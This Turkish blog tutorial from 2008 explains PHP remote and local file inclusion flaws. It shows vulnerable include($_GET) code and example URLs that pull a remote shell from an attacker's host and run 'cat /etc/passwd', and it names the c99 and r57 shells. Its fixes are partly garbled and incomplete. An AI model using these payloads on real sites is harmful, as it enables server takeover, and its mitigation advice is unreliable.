lfi ve rfi saldırıları
Linux, PHP Tutorials, Pratik Bilgiler, Server Side, webmaster February 18th, 2008->
Remote file inclusion;saldıran şahısların günümüzde en etkin saldırma biçimlerinden bir tanesidir.daha çok dikkatsizlikle yazılmış
kodlara yada güvenlik önlemi alınmamış sunucularda gerçekleşir.Bildiğiniz gibi,php coderlerinin hepsi,uzman olarak php kodu yazmazlar,(gerçi uzmanlık işi yine de tartışılır)
o yüzden remote file inclusion (uzaktan dosya çalıştırma) bu insanların yetersiz bilgilerinden yada daha kalp kırmadan söylersek, dikkatsizce yazdığı kodları saldırganın suistimal etmesinden kaynaklanır.Saldırgan bu açıklar sayesinde siteye php shell (c99,r57) ler upload edebilir.Hatta işin kötüsü ,sunucuda ki diğer sitelere de zarar verebilir.
REMOTE FİLE:uzak sunucudan dosya dahil (include) etme;
LOCAL FİLE;yerel sunucudan (ana) dosya dahil etme.
include veya include_once;
tanım şöyle:---php dilinde include kelime anlamı itibariyle; dahil etme,içerme anlamlarına tekabul etmektedir.
require veya require_once;
tanım şöyle;--- yukarıdaki include tanımından hiç bir anlam farkı yok.bu komutta belirtilen bir dosyayı başka bir dosya da çalıştırır (include etme),tek bir farkı şöyle
konu itibariyle; eğer ki ilk yazdığımız şekilde include komutunu kullanarak bir dosyayı çağırdığınızda (to call) eğer o dosya yoksa,php sunucusu hata raporu yayınlayıp,eğer varsa diğer komutları yorumlayarak kullanıcıya cıktı (output) gösterir.hemen daha iyi anlamak icin bir örnek yapalım;
-
include ("dosya.php");
-
-
echo 'Dosya Yok';
bu dosyayı calıstırdıgınızda sunucu (tabi var oldugunu varsaymıyorum burada ) eğer dosya yoksa (include edilen),buna dair bir hata verecektir.
ve diğer baskılama (echo) yontemiyle yorumlanan blah blah blah yazısını ekrana basacaktır.cıktısı soyle ;
-
Warning: include(dosy.php): failed to open stream: No such file or directory in /home/user/public_html/ on line 3 Warning: include():
-
Failed opening 'kod.php' for inclusion (include_path='./:/usr/local/lib/php') in
-
/home/user/public_html/ on line 2 Dosya Yok
gordugunuz gibi en sonda yorumlanan dosya yok yazısı ve hata mesajı ise yukarısında olarak cıktı verdi bize, require veya require_once ise eğer dosya yoksa,php kodlarını yorumlamayı tamamen durduruyor...yani dosya yok yazısını da okumayı durduracaktır ve sadece
ekrana hata mesajını verecektir.Farkı burdan kaynaklanmaktadır.
Şimdi gelelim asıl meselemize;
hemen bir örnekle saldırganın nasıl bir yol izledigine bakalım;
-
include ($sayfa.'../config.php);
bu kodu sunucunuzda çalıştırdığınızda hata raporu gelecektir ekranınıza,ancak bu bizim için önemsiz,bunun nedeni config.php adlı dosyanın include edilememesidir.
peki bu ne demek?
www.siteadresi.com/?sayfa=http://shell-adresi.com/shell.txt?
şeklinde yazılarak,servere girmek mümkündür,cunku buradaki acık $sayfa değişkeninin dolu olmamasıdır.bildiginiz gibi değişkenler,
uzerinde taşıdığı yükleriyle anılırlar,burada $var değişkenine ait hiç bir şey tanımlanmamıştır
sonucu verir.dolayısıyla saldırgan bu değişkeni doldurarak serverinizde shell girişi yapacaktır.
Eğer sistem yöneticisi sistem dizinlerinin izinlerini iyi ayarlamamışsa dosya yazıp silebilir hatta shell erişimi ile yapabileceğiniz herşeyi yapabilirsiniz.
peki soruna şöyle bir çözüm getirsek saldırgana değişkeni doldurma şansı vermeyebiliriz.bunun için getireceğimiz çözüm;
-
$sayfa="dosya";
FILE INCLUSION A GUVENLİK GELİŞTİRMEK
saldırı sonucu:
Nedeni:
Remote ve local file inclusionlar birçok exploitte olduğu gibi sadece kodlama sonundaki bir problemdir.
Guvenlik geliştirme
Bir siteniz var ve bu sitenin kodlarında get ve post komutlarını içeren satırları çok kullanıyorsunuz,işte bu komutlarda yazılım esnasında dikkatsizlik sonucu
yanlışlık yaparsanız,işte o zaman başınız çok ağrıyabilir.hemen bir örnek gösterelim;
-
<a href=index.php?page=dosya.php>haberler</a>
-
<?php $page = $_GET[page]; include($page); ?>
Bu kod $page girişi tam olarak arındırılmadığı için kullanılmamalıdır.
$page input direkt olarak web sayfasına yönlendirilmiş ki bu yapılması gereken en son hatalardan biridir. Daima browserdan geçen her input (giriş) arındırılmalı.
mesela bu kodda şöyle bir şey yapsak acaba ne olur?
-
http://sizinadresiniz.com/index.php?page=http://uzaktakiurl.com/
Büyük ihtimalle $page değişkeninin sayfaya orjinal olarak konulduğu yerde, uzaktakiurl.com ana sayfasını elde ederiz.
burası işte siteyi tasarlayan tasarımcının canının yakılabileceği bir yerdir.Web sayfasında olabilen daha basit bir şeye bakalım.
RFI exploitinin daha çabuk ve kirli kullanımı sizin avantajınızadır. Şimdi "deneme.php" isimli bir dosya oluşturalım ve aşağıdaki kodu içine koyup kaydedelim.
işte bu dosya,uzerinde rfi exploiti olan include edebilmeniz icin ideal bir kodlamadır.Aslına bakarsanız php de ki bu passthru komutu cok tehlikelidir.
bir çok web sunucusu bu komutu guvenlik nedeniyle kapatır.işte dene.php dosyamıza yazdıgımız bu koda file inclusion exploiti içeren bir http isteği gönderebiliriz
o da şöyle olsun;
-
http://sizinadresiniz/index.php?page=http://uzaktakiurl.com/deneme.php?cmd=cat /etc/passwd
Örnek olarak sitenizde kullandığınız satırlardan biri;
$ornek = $HTTP_GET_VARS[“example”];
diyelim.
Bu satırda kullanmış olduğunuz tırnaklar dışarıdan gelen uyarılara karşı son derece duyarlıdır.
Yani kişi isterse “ornek” kodlaması yerine başka bir sunucudan exploit çağırabilir.
Örneğin; http://www.siteniz.com/index.php?deneme=http://www.exploitsitesi.com/exploit.pl bu şekilde bir adresleme kullanıldığı takdirde exploit sizin sunucunuza yüklenir.
Bu açığı kolay bir yöntemle kapatabilirsiniz.
Öncelikle yapmanız gereken kullanmış olduğunuz GET ve POST komutunun içeriği.
Eğer GET yada POST komutu ile veritabanına bağlantı yapıyorsanız bu bağlantıyı komuttan önce vermeniz gerekir.
-
$degisken="degiskenadi".$id;
bundan sonra scriptinizi tırnak kullanmadan, başına dolar ($) koyarak ,misal veritabanından alır gibi kullanırız. ayrıca php.ini guvenligi ile ilgili makalemizide Okuyabilirsiniz



























Son Yorumlamalar